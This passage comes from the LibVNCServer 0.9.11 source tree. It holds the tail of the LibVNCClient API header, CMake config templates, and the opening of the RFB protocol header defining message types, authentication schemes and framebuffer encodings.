synchronize the server's * clipboard with your local clipboard. * @param client The client structure through which to send the client cut text * message * @param str The string to send (doesn't need to be NULL terminated) * @param len The length of the string * @return true if the client cut message was sent successfully, false otherwise */ extern rfbBool SendClientCutText(rfbClient* client,char *str, int len); /** * Handles messages from the RFB server. You must call this function * intermittently so LibVNCClient can parse messages from the server. For * example, if your app has a draw loop, you could place a call to this * function within that draw loop. * @note You must call WaitForMessage() before you call this function. * @param client The client which will handle the RFB server messages * @return true if the client was able to handle the RFB server messages, false * otherwise */ extern rfbBool HandleRFBServerMessage(rfbClient* client); /** * Sends a text chat message to the server. * @param client The client through which to send the message * @param text The text to send * @return true if the text was sent successfully, false otherwise */ extern rfbBool TextChatSend(rfbClient* client, char *text); /** * Opens a text chat window on the server. * @param client The client through which to send the message * @return true if the window was opened successfully, false otherwise */ extern rfbBool TextChatOpen(rfbClient* client); /** * Closes the text chat window on the server. * @param client The client through which to send the message * @return true if the window was closed successfully, false otherwise */ extern rfbBool TextChatClose(rfbClient* client); extern rfbBool TextChatFinish(rfbClient* client); extern rfbBool PermitServerInput(rfbClient* client, int enabled); extern rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code); extern void PrintPixelFormat(rfbPixelFormat *format); extern rfbBool SupportsClient2Server(rfbClient* client, int messageType); extern rfbBool SupportsServer2Client(rfbClient* client, int messageType); /* client data */ /** * Associates a client data tag with the given pointer. LibVNCClient has * several events to which you can associate your own handlers. These handlers * have the client structure as one of their parameters. Sometimes, you may want * to make data from elsewhere in your application available to these handlers * without using a global variable. To do this, you call * rfbClientSetClientData() and associate the data with a tag. Then, your * handler can call rfbClientGetClientData() and get the a pointer to the data * associated with that tag. * @param client The client in which to set the client data * @param tag A unique tag which identifies the data * @param data A pointer to the data to associate with the tag */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data); /** * Returns a pointer to the client data associated with the given tag. See the * the documentation for rfbClientSetClientData() for a discussion of how you * can use client data. * @param client The client from which to get the client data * @param tag The tag which identifies the client data * @return a pointer to the client data */ void* rfbClientGetClientData(rfbClient* client, void* tag); /* protocol extensions */ typedef struct _rfbClientProtocolExtension { int* encodings; /** returns TRUE if the encoding was handled */ rfbBool (*handleEncoding)(rfbClient* cl, rfbFramebufferUpdateRectHeader* rect); /** returns TRUE if it handled the message */ rfbBool (*handleMessage)(rfbClient* cl, rfbServerToClientMsg* message); struct _rfbClientProtocolExtension* next; } rfbClientProtocolExtension; void rfbClientRegisterExtension(rfbClientProtocolExtension* e); /* sockets.c */ extern rfbBool errorMessageOnReadFailure; extern rfbBool ReadFromRFBServer(rfbClient* client, char *out, unsigned int n); extern rfbBool WriteToRFBServer(rfbClient* client, char *buf, int n); extern int FindFreeTcpPort(void); extern int ListenAtTcpPort(int port); extern int ListenAtTcpPortAndAddress(int port, const char *address); extern int ConnectClientToTcpAddr(unsigned int host, int port); extern int ConnectClientToTcpAddr6(const char *hostname, int port); extern int ConnectClientToUnixSock(const char *sockFile); extern int AcceptTcpConnection(int listenSock); extern rfbBool SetNonBlocking(int sock); extern rfbBool SetDSCP(int sock, int dscp); extern rfbBool StringToIPAddr(const char *str, unsigned int *addr); extern rfbBool SameMachine(int sock); /** * Waits for an RFB message to arrive from the server. Before handling a message * with HandleRFBServerMessage(), you must wait for your client to receive one. * This function blocks until a message is received. You may specify a timeout * in microseconds. Once this number of microseconds have elapsed, the function * will return. * @param client The client to cause to wait until a message is received * @param usecs The timeout in microseconds * @return the return value of the underlying select() call */ extern int WaitForMessage(rfbClient* client,unsigned int usecs); /* vncviewer.c */ /** * Allocates and returns a pointer to an rfbClient structure. This will probably * be the first LibVNCClient function your client code calls. Most libVNCClient * functions operate on an rfbClient structure, and this function allocates * memory for that structure. When you're done with the rfbClient structure * pointer this function returns, you should free the memory rfbGetClient() * allocated by calling rfbClientCleanup(). * * A pixel is one dot on the screen. The number of bytes in a pixel will depend * on the number of samples in that pixel and the number of bits in each sample. * A sample represents one of the primary colors in a color model. The RGB * color model uses red, green, and blue samples respectively. Suppose you * wanted to use 16-bit RGB color: You would have three samples per pixel (one * for each primary color), five bits per sample (the quotient of 16 RGB bits * divided by three samples), and two bytes per pixel (the smallest multiple of * eight bits in which the 16-bit pixel will fit). If you wanted 32-bit RGB * color, you would have three samples per pixel again, eight bits per sample * (since that's how 32-bit color is defined), and four bytes per pixel (the * smallest multiple of eight bits in which the 32-bit pixel will fit. * @param bitsPerSample The number of bits in a sample * @param samplesPerPixel The number of samples in a pixel * @param bytesPerPixel The number of bytes in a pixel * @return a pointer to the allocated rfbClient structure */ rfbClient* rfbGetClient(int bitsPerSample,int samplesPerPixel,int bytesPerPixel); /** * Initializes the client. The format is {PROGRAM_NAME, [OPTIONS]..., HOST}. This * function does not initialize the program name if the rfbClient's program * name is set already. The options are as follows: * * * * * * * * * * *
OptionDescription
-listenListen for incoming connections.
-listennoforkListen for incoming connections without forking. *
-playSet this client to replay a previously recorded session.
-encodingsSet the encodings to use. The next item in the * argv array is the encodings string, consisting of comma separated encodings like 'tight,ultra,raw'.
-compressSet the compression level. The next item in the * argv array is the compression level as an integer. Ranges from 0 (lowest) to 9 (highest). *
-scaleSet the scaling level. The next item in the * argv array is the scaling level as an integer. The screen will be scaled down by this factor.
-qosdscpSet the Quality of Service Differentiated Services * Code Point (QoS DSCP). The next item in the argv array is the code point as * an integer.
-repeaterdestSet a VNC repeater address. The next item in the argv array is * the repeater's address as a string.
* * The host may include a port number (delimited by a ':'). * @param client The client to initialize * @param argc The number of arguments to the initializer * @param argv The arguments to the initializer as an array of NULL terminated * strings * @return true if the client was initialized successfully, false otherwise. */ rfbBool rfbInitClient(rfbClient* client,int* argc,char** argv); /** * Cleans up the client structure and releases the memory allocated for it. You * should call this when you're done with the rfbClient structure that you * allocated with rfbGetClient(). * @note rfbClientCleanup() does not touch client->frameBuffer. * @param client The client to clean up */ void rfbClientCleanup(rfbClient* client); #if(defined __cplusplus) } #endif /** * @} */ /** @page libvncclient_doc LibVNCClient Documentation @section example_code Example Code See SDLvncviewer.c for a rather complete client example. */ #endif libvncserver-LibVNCServer-0.9.11/rfb/rfbconfig.h.cmake000066400000000000000000000103251303145525000225070ustar00rootroot00000000000000#ifndef _RFB_RFBCONFIG_H #cmakedefine _RFB_RFBCONFIG_H 1 /* rfb/rfbconfig.h. Generated automatically by cmake. */ /* Enable 24 bit per pixel in native framebuffer */ #cmakedefine LIBVNCSERVER_ALLOW24BPP 1 /* work around when write() returns ENOENT but does not mean it */ #cmakedefine LIBVNCSERVER_ENOENT_WORKAROUND 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_ENDIAN_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_FCNTL_H 1 /* Define to 1 if you have the `gettimeofday' function. */ #cmakedefine LIBVNCSERVER_HAVE_GETTIMEOFDAY 1 /* Define to 1 if you have the `jpeg' library (-ljpeg). */ #cmakedefine LIBVNCSERVER_HAVE_LIBJPEG 1 /* Define if you have the `png' library (-lpng). */ #cmakedefine LIBVNCSERVER_HAVE_LIBPNG 1 /* Define to 1 if you have the `pthread' library (-lpthread). */ #cmakedefine LIBVNCSERVER_HAVE_LIBPTHREAD 1 /* Define to 1 if you have the `z' library (-lz). */ #cmakedefine LIBVNCSERVER_HAVE_LIBZ 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_NETINET_IN_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_ENDIAN_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_SOCKET_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_STAT_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_TIME_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_TYPES_H 1 /* Define to 1 if you have that is POSIX.1 compatible. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_WAIT_H 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_UNISTD_H 1 /* Define to 1 if you have the `vfork' function. */ #cmakedefine LIBVNCSERVER_HAVE_VFORK 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_VFORK_H 1 /* Define to 1 if you have the `vprintf' function. */ #cmakedefine LIBVNCSERVER_HAVE_VPRINTF 1 /* Define to 1 if `fork' works. */ #cmakedefine LIBVNCSERVER_HAVE_WORKING_FORK 1 /* Define to 1 if `vfork' works. */ #cmakedefine LIBVNCSERVER_HAVE_WORKING_VFORK 1 /* Define to 1 if you have the header file. */ #cmakedefine LIBVNCSERVER_HAVE_WS2TCPIP_H 1 /* Enable IPv6 support */ #cmakedefine LIBVNCSERVER_IPv6 1 /* Need a typedef for in_addr_t */ #cmakedefine LIBVNCSERVER_NEED_INADDR_T 1 /* Define to the full name and version of this package. */ #define LIBVNCSERVER_PACKAGE_STRING "@FULL_PACKAGE_NAME@ @PACKAGE_VERSION@" /* Define to the version of this package. */ #define LIBVNCSERVER_PACKAGE_VERSION "@PACKAGE_VERSION@" #define LIBVNCSERVER_VERSION "@PACKAGE_VERSION@" #define LIBVNCSERVER_VERSION_MAJOR "@VERSION_MAJOR@" #define LIBVNCSERVER_VERSION_MINOR "@VERSION_MINOR@" #define LIBVNCSERVER_VERSION_PATCHLEVEL "@VERSION_PATCHLEVEL@" /* Define to 1 if libgcrypt is present */ #cmakedefine LIBVNCSERVER_WITH_CLIENT_GCRYPT 1 /* Define to 1 if GnuTLS is present */ #cmakedefine LIBVNCSERVER_WITH_CLIENT_TLS 1 /* Define to 1 to build with websockets */ #cmakedefine LIBVNCSERVER_WITH_WEBSOCKETS 1 /* Define to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel and VAX). */ #cmakedefine LIBVNCSERVER_WORDS_BIGENDIAN 1 /* Define to empty if `const' does not conform to ANSI C. */ /* #cmakedefine const @CMAKE_CONST@ */ /* Define to `__inline__' or `__inline' if that's what the C compiler calls it, or to nothing if 'inline' is not supported under any name. */ /* #ifndef __cplusplus */ /* #cmakedefine inline @CMAKE_INLINE@ */ /* #endif */ /* Define to `int' if does not define. */ #cmakedefine HAVE_LIBVNCSERVER_PID_T 1 #ifndef HAVE_LIBVNCSERVER_PID_T typedef int pid_t; #endif /* The type for size_t */ #cmakedefine HAVE_LIBVNCSERVER_SIZE_T 1 #ifndef HAVE_LIBVNCSERVER_SIZE_T typedef int size_t; #endif /* The type for socklen */ #cmakedefine HAVE_LIBVNCSERVER_SOCKLEN_T 1 #ifndef HAVE_LIBVNCSERVER_SOCKLEN_T typedef int socklen_t; #endif /* once: _RFB_RFBCONFIG_H */ #endif libvncserver-LibVNCServer-0.9.11/rfb/rfbint.h.cmake000066400000000000000000000001051303145525000220270ustar00rootroot00000000000000#ifndef _RFB_RFBINT_H #define _RFB_RFBINT_H 1 /* empty ... */ #endif libvncserver-LibVNCServer-0.9.11/rfb/rfbproto.h000066400000000000000000001453101303145525000213310ustar00rootroot00000000000000#ifndef RFBPROTO_H #define RFBPROTO_H /** @mainpage @li @ref libvncserver_api @li @ref libvncserver_doc @li @ref libvncclient_api @li @ref libvncclient_doc */ /* * Copyright (C) 2009-2010 D. R. Commander. All Rights Reserved. * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2004-2008 Sun Microsystems, Inc. All Rights Reserved. * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.h - header file for the RFB protocol version 3.3 * * Uses types CARD for an n-bit unsigned integer, INT for an n-bit signed * integer (for n = 8, 16 and 32). * * All multiple byte integers are in big endian (network) order (most * significant byte first). Unless noted otherwise there is no special * alignment of protocol structures. * * * Once the initial handshaking is done, all messages start with a type byte, * (usually) followed by message-specific data. The order of definitions in * this file is as follows: * * (1) Structures used in several types of message. * (2) Structures used in the initial handshaking. * (3) Message types. * (4) Encoding types. * (5) For each message type, the form of the data following the type byte. * Sometimes this is defined by a single structure but the more complex * messages have to be explained by comments. */ #include #if defined(WIN32) && !defined(__MINGW32__) #define LIBVNCSERVER_WORDS_BIGENDIAN #define rfbBool int #include #include #undef SOCKET #define SOCKET int #else #include #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #if LIBVNCSERVER_HAVE_ENDIAN_H # include # if __BYTE_ORDER == __BIG_ENDIAN # define LIBVNCSERVER_WORDS_BIGENDIAN 1 # endif #endif /* MS compilers don't have strncasecmp */ #ifdef _MSC_VER #define strncasecmp _strnicmp #endif #define rfbMax(a,b) (((a)>(b))?(a):(b)) #if !defined(WIN32) || defined(__MINGW32__) #ifdef LIBVNCSERVER_HAVE_SYS_TIME_H #include #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include #endif #define SOCKET int typedef int8_t rfbBool; #undef FALSE #define FALSE 0 #undef TRUE #define TRUE -1 #endif typedef uint32_t rfbKeySym; typedef uint32_t rfbPixel; #ifdef LIBVNCSERVER_NEED_INADDR_T typedef uint32_t in_addr_t; #endif #ifndef INADDR_NONE #define INADDR_NONE ((in_addr_t) 0xffffffff) #endif #define MAX_ENCODINGS 64 /***************************************************************************** * * Structures used in several messages * *****************************************************************************/ /*----------------------------------------------------------------------------- * Structure used to specify a rectangle. This structure is a multiple of 4 * bytes so that it can be interspersed with 32-bit pixel data without * affecting alignment. */ typedef struct { uint16_t x; uint16_t y; uint16_t w; uint16_t h; } rfbRectangle; #define sz_rfbRectangle 8 /*----------------------------------------------------------------------------- * Structure used to specify pixel format. */ typedef struct { uint8_t bitsPerPixel; /* 8,16,32 only */ uint8_t depth; /* 8 to 32 */ uint8_t bigEndian; /* True if multi-byte pixels are interpreted as big endian, or if single-bit-per-pixel has most significant bit of the byte corresponding to first (leftmost) pixel. Of course this is meaningless for 8 bits/pix */ uint8_t trueColour; /* If false then we need a "colour map" to convert pixels to RGB. If true, xxxMax and xxxShift specify bits used for red, green and blue */ /* the following fields are only meaningful if trueColour is true */ uint16_t redMax; /* maximum red value (= 2^n - 1 where n is the number of bits used for red). Note this value is always in big endian order. */ uint16_t greenMax; /* similar for green */ uint16_t blueMax; /* and blue */ uint8_t redShift; /* number of shifts needed to get the red value in a pixel to the least significant bit. To find the red value from a given pixel, do the following: 1) Swap pixel value according to bigEndian (e.g. if bigEndian is false and host byte order is big endian, then swap). 2) Shift right by redShift. 3) AND with redMax (in host byte order). 4) You now have the red value between 0 and redMax. */ uint8_t greenShift; /* similar for green */ uint8_t blueShift; /* and blue */ uint8_t pad1; uint16_t pad2; } rfbPixelFormat; #define sz_rfbPixelFormat 16 /* UltraVNC: Color settings values */ #define rfbPFFullColors 0 #define rfbPF256Colors 1 #define rfbPF64Colors 2 #define rfbPF8Colors 3 #define rfbPF8GreyColors 4 #define rfbPF4GreyColors 5 #define rfbPF2GreyColors 6 /***************************************************************************** * * Initial handshaking messages * *****************************************************************************/ /*----------------------------------------------------------------------------- * Protocol Version * * The server always sends 12 bytes to start which identifies the latest RFB * protocol version number which it supports. These bytes are interpreted * as a string of 12 ASCII characters in the format "RFB xxx.yyy\n" where * xxx and yyy are the major and minor version numbers (for version 3.3 * this is "RFB 003.003\n"). * * The client then replies with a similar 12-byte message giving the version * number of the protocol which should actually be used (which may be different * to that quoted by the server). * * It is intended that both clients and servers may provide some level of * backwards compatibility by this mechanism. Servers in particular should * attempt to provide backwards compatibility, and even forwards compatibility * to some extent. For example if a client demands version 3.1 of the * protocol, a 3.0 server can probably assume that by ignoring requests for * encoding types it doesn't understand, everything will still work OK. This * will probably not be the case for changes in the major version number. * * The format string below can be used in sprintf or sscanf to generate or * decode the version string respectively. */ #define rfbProtocolVersionFormat "RFB %03d.%03d\n" #define rfbProtocolMajorVersion 3 #define rfbProtocolMinorVersion 8 /* UltraVNC Viewer examines rfbProtocolMinorVersion number (4, and 6) * to identify if the server supports File Transfer */ typedef char rfbProtocolVersionMsg[13]; /* allow extra byte for null */ #define sz_rfbProtocolVersionMsg 12 /* * Negotiation of the security type (protocol version 3.7) * * Once the protocol version has been decided, the server either sends a list * of supported security types, or informs the client about an error (when the * number of security types is 0). Security type rfbSecTypeTight is used to * enable TightVNC-specific protocol extensions. The value rfbSecTypeVncAuth * stands for classic VNC authentication. * * The client selects a particular security type from the list provided by the * server. */ #define rfbSecTypeInvalid 0 #define rfbSecTypeNone 1 #define rfbSecTypeVncAuth 2 /*----------------------------------------------------------------------------- * Authentication * * Once the protocol version has been decided, the server then sends a 32-bit * word indicating whether any authentication is needed on the connection. * The value of this word determines the authentication scheme in use. For * version 3.0 of the protocol this may have one of the following values: */ #define rfbConnFailed 0 #define rfbNoAuth 1 #define rfbVncAuth 2 #define rfbRA2 5 #define rfbRA2ne 6 #define rfbSSPI 7 #define rfbSSPIne 8 #define rfbTight 16 #define rfbUltra 17 #define rfbTLS 18 #define rfbVeNCrypt 19 #define rfbARD 30 #define rfbMSLogon 0xfffffffa #define rfbVeNCryptPlain 256 #define rfbVeNCryptTLSNone 257 #define rfbVeNCryptTLSVNC 258 #define rfbVeNCryptTLSPlain 259 #define rfbVeNCryptX509None 260 #define rfbVeNCryptX509VNC 261 #define rfbVeNCryptX509Plain 262 #define rfbVeNCryptX509SASL 263 #define rfbVeNCryptTLSSASL 264 /* * rfbConnFailed: For some reason the connection failed (e.g. the server * cannot support the desired protocol version). This is * followed by a string describing the reason (where a * string is specified as a 32-bit length followed by that * many ASCII characters). * * rfbNoAuth: No authentication is needed. * * rfbVncAuth: The VNC authentication scheme is to be used. A 16-byte * challenge follows, which the client encrypts as * appropriate using the password and sends the resulting * 16-byte response. If the response is correct, the * server sends the 32-bit word rfbVncAuthOK. If a simple * failure happens, the server sends rfbVncAuthFailed and * closes the connection. If the server decides that too * many failures have occurred, it sends rfbVncAuthTooMany * and closes the connection. In the latter case, the * server should not allow an immediate reconnection by * the client. */ #define rfbVncAuthOK 0 #define rfbVncAuthFailed 1 #define rfbVncAuthTooMany 2 /*----------------------------------------------------------------------------- * Client Initialisation Message * * Once the client and server are sure that they're happy to talk to one * another, the client sends an initialisation message. At present this * message only consists of a boolean indicating whether the server should try * to share the desktop by leaving other clients connected, or give exclusive * access to this client by disconnecting all other clients. */ typedef struct { uint8_t shared; } rfbClientInitMsg; #define sz_rfbClientInitMsg 1 /*----------------------------------------------------------------------------- * Server Initialisation Message * * After the client initialisation message, the server sends one of its own. * This tells the client the width and height of the server's framebuffer, * its pixel format and the name associated with the desktop. */ typedef struct { uint16_t framebufferWidth; uint16_t framebufferHeight; rfbPixelFormat format; /* the server's preferred pixel format */ uint32_t nameLength; /* followed by char name[nameLength] */ } rfbServerInitMsg; #define sz_rfbServerInitMsg (8 + sz_rfbPixelFormat) /* * Following the server initialisation message it's up to the client to send * whichever protocol messages it wants. Typically it will send a * SetPixelFormat message and a SetEncodings message, followed by a * FramebufferUpdateRequest. From then on the server will send * FramebufferUpdate messages in response to the client's * FramebufferUpdateRequest messages. The client should send * FramebufferUpdateRequest messages with incremental set to true when it has * finished processing one FramebufferUpdate and is ready to process another. * With a fast client, the rate at which FramebufferUpdateRequests are sent * should be regulated to avoid hogging the network. */ /***************************************************************************** * * Message types * *****************************************************************************/ /* server -> client */ #define rfbFramebufferUpdate 0 #define rfbSetColourMapEntries 1 #define rfbBell 2 #define rfbServerCutText 3 /* Modif sf@2002 */ #define rfbResizeFrameBuffer 4 #define rfbPalmVNCReSizeFrameBuffer 0xF /* client -> server */ #define rfbSetPixelFormat 0 #define rfbFixColourMapEntries 1 /* not currently supported */ #define rfbSetEncodings 2 #define rfbFramebufferUpdateRequest 3 #define rfbKeyEvent 4 #define rfbPointerEvent 5 #define rfbClientCutText 6 /* Modif sf@2002 - actually bidirectionnal */ #define rfbFileTransfer 7 /* Modif sf@2002 */ #define rfbSetScale 8 /* Modif rdv@2002 */ #define rfbSetServerInput 9 /* Modif rdv@2002 */ #define rfbSetSW 10 /* Modif sf@2002 - TextChat - Bidirectionnal */ #define rfbTextChat 11 /* Modif cs@2005 */ /* PalmVNC 1.4 & 2.0 SetScale Factor message */ #define rfbPalmVNCSetScaleFactor 0xF /* Xvp message - bidirectional */ #define rfbXvp 250 /***************************************************************************** * * Encoding types * *****************************************************************************/ #define rfbEncodingRaw 0 #define rfbEncodingCopyRect 1 #define rfbEncodingRRE 2 #define rfbEncodingCoRRE 4 #define rfbEncodingHextile 5 #define rfbEncodingZlib 6 #define rfbEncodingTight 7 #define rfbEncodingTightPng 0xFFFFFEFC /* -260 */ #define rfbEncodingZlibHex 8 #define rfbEncodingUltra 9 #define rfbEncodingZRLE 16 #define rfbEncodingZYWRLE 17 #define rfbEncodingH264 0x48323634 /* Cache & XOR-Zlib - rdv@2002 */ #define rfbEncodingCache 0xFFFF0000 #define rfbEncodingCacheEnable 0xFFFF0001 #define rfbEncodingXOR_Zlib 0xFFFF0002 #define rfbEncodingXORMonoColor_Zlib 0xFFFF0003 #define rfbEncodingXORMultiColor_Zlib 0xFFFF0004 #define rfbEncodingSolidColor 0xFFFF0005 #define rfbEncodingXOREnable 0xFFFF0006 #define rfbEncodingCacheZip 0xFFFF0007 #define rfbEncodingSolMonoZip 0xFFFF0008 #define rfbEncodingUltraZip 0xFFFF0009 /* Xvp pseudo-encoding */ #define rfbEncodingXvp 0xFFFFFECB /* * Special encoding numbers: * 0xFFFFFD00 .. 0xFFFFFD05 -- subsampling level * 0xFFFFFE00 .. 0xFFFFFE64 -- fine-grained quality level (0-100 scale) * 0xFFFFFF00 .. 0xFFFFFF0F -- encoding-specific compression levels; * 0xFFFFFF10 .. 0xFFFFFF1F -- mouse cursor shape data; * 0xFFFFFF20 .. 0xFFFFFF2F -- various protocol extensions; * 0xFFFFFF30 .. 0xFFFFFFDF -- not allocated yet; * 0xFFFFFFE0 .. 0xFFFFFFEF -- quality level for JPEG compressor; * 0xFFFFFFF0 .. 0xFFFFFFFF -- cross-encoding compression levels. */ #define rfbEncodingFineQualityLevel0 0xFFFFFE00 #define rfbEncodingFineQualityLevel100 0xFFFFFE64 #define rfbEncodingSubsamp1X 0xFFFFFD00 #define rfbEncodingSubsamp4X 0xFFFFFD01 #define rfbEncodingSubsamp2X 0xFFFFFD02 #define rfbEncodingSubsampGray 0xFFFFFD03 #define rfbEncodingSubsamp8X 0xFFFFFD04 #define rfbEncodingSubsamp16X 0xFFFFFD05 #define rfbEncodingCompressLevel0 0xFFFFFF00 #define rfbEncodingCompressLevel1 0xFFFFFF01 #define rfbEncodingCompressLevel2 0xFFFFFF02 #define rfbEncodingCompressLevel3 0xFFFFFF03 #define rfbEncodingCompressLevel4 0xFFFFFF04 #define rfbEncodingCompressLevel5 0xFFFFFF05 #define rfbEncodingCompressLevel6 0xFFFFFF06 #define rfbEncodingCompressLevel7 0xFFFFFF07 #define rfbEncodingCompressLevel8 0xFFFFFF08 #define rfbEncodingCompressLevel9 0xFFFFFF09 #define rfbEncodingXCursor 0xFFFFFF10 #define rfbEncodingRichCursor 0xFFFFFF11 #define rfbEncodingPointerPos 0xFFFFFF18 #define rfbEncodingLastRect 0xFFFFFF20 #define rfbEncodingNewFBSize 0xFFFFFF21 #define rfbEncodingQualityLevel0 0xFFFFFFE0 #define rfbEncodingQualityLevel1 0xFFFFFFE1 #define rfbEncodingQualityLevel2 0xFFFFFFE2 #define rfbEncodingQualityLevel3 0xFFFFFFE3 #define rfbEncodingQualityLevel4 0xFFFFFFE4 #define rfbEncodingQualityLevel5 0xFFFFFFE5 #define rfbEncodingQualityLevel6 0xFFFFFFE6 #define rfbEncodingQualityLevel7 0xFFFFFFE7 #define rfbEncodingQualityLevel8 0xFFFFFFE8 #define rfbEncodingQualityLevel9 0xFFFFFFE9 /* LibVNCServer additions. We claim 0xFFFE0000 - 0xFFFE00FF */ #define rfbEncodingKeyboardLedState 0xFFFE0000 #define rfbEncodingSupportedMessages 0xFFFE0001 #define rfbEncodingSupportedEncodings 0xFFFE0002 #define rfbEncodingServerIdentity 0xFFFE0003 /***************************************************************************** * * Server -> client message definitions * *****************************************************************************/ /*----------------------------------------------------------------------------- * FramebufferUpdate - a block of rectangles to be copied to the framebuffer. * * This message consists of a header giving the number of rectangles of pixel * data followed by the rectangles themselves. The header is padded so that * together with the type byte it is an exact multiple of 4 bytes (to help * with alignment of 32-bit pixels): */ typedef struct { uint8_t type; /* always rfbFramebufferUpdate */ uint8_t pad; uint16_t nRects; /* followed by nRects rectangles */ } rfbFramebufferUpdateMsg; #define sz_rfbFramebufferUpdateMsg 4 /* * Each rectangle of pixel data consists of a header describing the position * and size of the rectangle and a type word describing the encoding of the * pixel data, followed finally by the pixel data. Note that if the client has * not sent a SetEncodings message then it will only receive raw pixel data. * Also note again that this structure is a multiple of 4 bytes. */ typedef struct { rfbRectangle r; uint32_t encoding; /* one of the encoding types rfbEncoding... */ } rfbFramebufferUpdateRectHeader; #define sz_rfbFramebufferUpdateRectHeader (sz_rfbRectangle + 4) /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Supported Messages Encoding. This encoding does not contain any pixel data. * Instead, it contains 2 sets of bitflags. These bitflags indicate what messages * are supported by the server. * rect->w contains byte count */ typedef struct { uint8_t client2server[32]; /* maximum of 256 message types (256/8)=32 */ uint8_t server2client[32]; /* maximum of 256 message types (256/8)=32 */ } rfbSupportedMessages; #define sz_rfbSupportedMessages 64 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Supported Encodings Encoding. This encoding does not contain any pixel data. * Instead, it contains a list of (uint32_t) Encodings supported by this server. * rect->w contains byte count * rect->h contains encoding count */ /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Server Identity Encoding. This encoding does not contain any pixel data. * Instead, it contains a text string containing information about the server. * ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (libvncserver 0.9pre)\0" * rect->w contains byte count */ /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Raw Encoding. Pixels are sent in top-to-bottom scanline order, * left-to-right within a scanline with no padding in between. */ /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * KeyboardLedState Encoding. The X coordinate contains the Locked Modifiers * so that a remote troubleshooter can identify that the users 'Caps Lock' * is set... (It helps a *lot* when the users are untrained) */ #define rfbKeyboardMaskShift 1 #define rfbKeyboardMaskCapsLock 2 #define rfbKeyboardMaskControl 4 #define rfbKeyboardMaskAlt 8 #define rfbKeyboardMaskMeta 16 #define rfbKeyboardMaskSuper 32 #define rfbKeyboardMaskHyper 64 #define rfbKeyboardMaskNumLock 128 #define rfbKeyboardMaskScrollLock 256 #define rfbKeyboardMaskAltGraph 512 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * CopyRect Encoding. The pixels are specified simply by the x and y position * of the source rectangle. */ typedef struct { uint16_t srcX; uint16_t srcY; } rfbCopyRect; #define sz_rfbCopyRect 4 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * RRE - Rise-and-Run-length Encoding. We have an rfbRREHeader structure * giving the number of subrectangles following. Finally the data follows in * the form [...] where each is * []. */ typedef struct { uint32_t nSubrects; } rfbRREHeader; #define sz_rfbRREHeader 4 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * CoRRE - Compact RRE Encoding. We have an rfbRREHeader structure giving * the number of subrectangles following. Finally the data follows in the form * [...] where each is * []. This means that * the whole rectangle must be at most 255x255 pixels. */ typedef struct { uint8_t x; uint8_t y; uint8_t w; uint8_t h; } rfbCoRRERectangle; #define sz_rfbCoRRERectangle 4 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Hextile Encoding. The rectangle is divided up into "tiles" of 16x16 pixels, * starting at the top left going in left-to-right, top-to-bottom order. If * the width of the rectangle is not an exact multiple of 16 then the width of * the last tile in each row will be correspondingly smaller. Similarly if the * height is not an exact multiple of 16 then the height of each tile in the * final row will also be smaller. Each tile begins with a "subencoding" type * byte, which is a mask made up of a number of bits. If the Raw bit is set * then the other bits are irrelevant; w*h pixel values follow (where w and h * are the width and height of the tile). Otherwise the tile is encoded in a * similar way to RRE, except that the position and size of each subrectangle * can be specified in just two bytes. The other bits in the mask are as * follows: * * BackgroundSpecified - if set, a pixel value follows which specifies * the background colour for this tile. The first non-raw tile in a * rectangle must have this bit set. If this bit isn't set then the * background is the same as the last tile. * * ForegroundSpecified - if set, a pixel value follows which specifies * the foreground colour to be used for all subrectangles in this tile. * If this bit is set then the SubrectsColoured bit must be zero. * * AnySubrects - if set, a single byte follows giving the number of * subrectangles following. If not set, there are no subrectangles (i.e. * the whole tile is just solid background colour). * * SubrectsColoured - if set then each subrectangle is preceded by a pixel * value giving the colour of that subrectangle. If not set, all * subrectangles are the same colour, the foreground colour; if the * ForegroundSpecified bit wasn't set then the foreground is the same as * the last tile. * * The position and size of each 